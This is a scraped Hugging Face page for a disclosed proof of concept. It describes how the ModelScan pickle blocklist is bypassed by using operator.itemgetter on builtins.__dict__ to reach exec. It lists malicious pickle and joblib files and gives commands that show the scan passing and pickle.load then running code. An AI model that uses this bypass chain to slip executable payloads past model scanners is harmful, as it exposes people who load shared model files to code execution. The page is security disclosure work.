Downloads · 30 days
0
modelscan-builtins-dict-bypass-poc
xiaoyaoes/modelscan-builtins-dict-bypass-poc
modelscan-builtins-dict-bypass-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for generic.
A systemic bypass of ProtectAI ModelScan's pickle blocklist. This reveals a fundamental architectural weakness: builtins.dict is not in the blocklist, allowing retrieval of any built-in function including exec, eval,…
Access
Public
Updated Jun 18, 2026
Repo size
233 B
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.5 KB · 52%
At a glance
- Library
- generic
- Access
- Public
- Created
- Jun 18, 2026
- Updated
- Jun 18, 2026
- SHA
- dcccc27b
Model card
From the Hugging Face model README
ModelScan Bypass PoC: builtins.__dict__ + operator.itemgetter()
Overview
A systemic bypass of ProtectAI ModelScan's pickle blocklist.
This reveals a fundamental architectural weakness: builtins.__dict__ is not in the blocklist,
allowing retrieval of any built-in function including exec, eval, open, etc.
The Bypass
operator.itemgetter("exec")(builtins.__dict__)
-> builtins.__dict__["exec"]
-> <built-in function exec>
-> exec(arbitrary_code)
-> REMOTE CODE EXECUTION
Files
| File | Size | Description |
|---|---|---|
code_bypass.pkl | 144 B | Raw pickle (v5), 144 bytes |
code_bypass.joblib | 89 B | joblib format, 89 bytes |
Verification
# Install modelscan
pip install modelscan
# Scan - will report "No issues found"
modelscan --path code_bypass.pkl
# Execute - RCE
python -c "import pickle; pickle.load(open('code_bypass.pkl','rb'))"
Disclosure
- Researcher: xiaoyaoes
- Date: 2026-06-19
- Status: Reported via Huntr MFV program
- Library
- generic
- Created
- Jun 18, 2026
- Updated
- Jun 18, 2026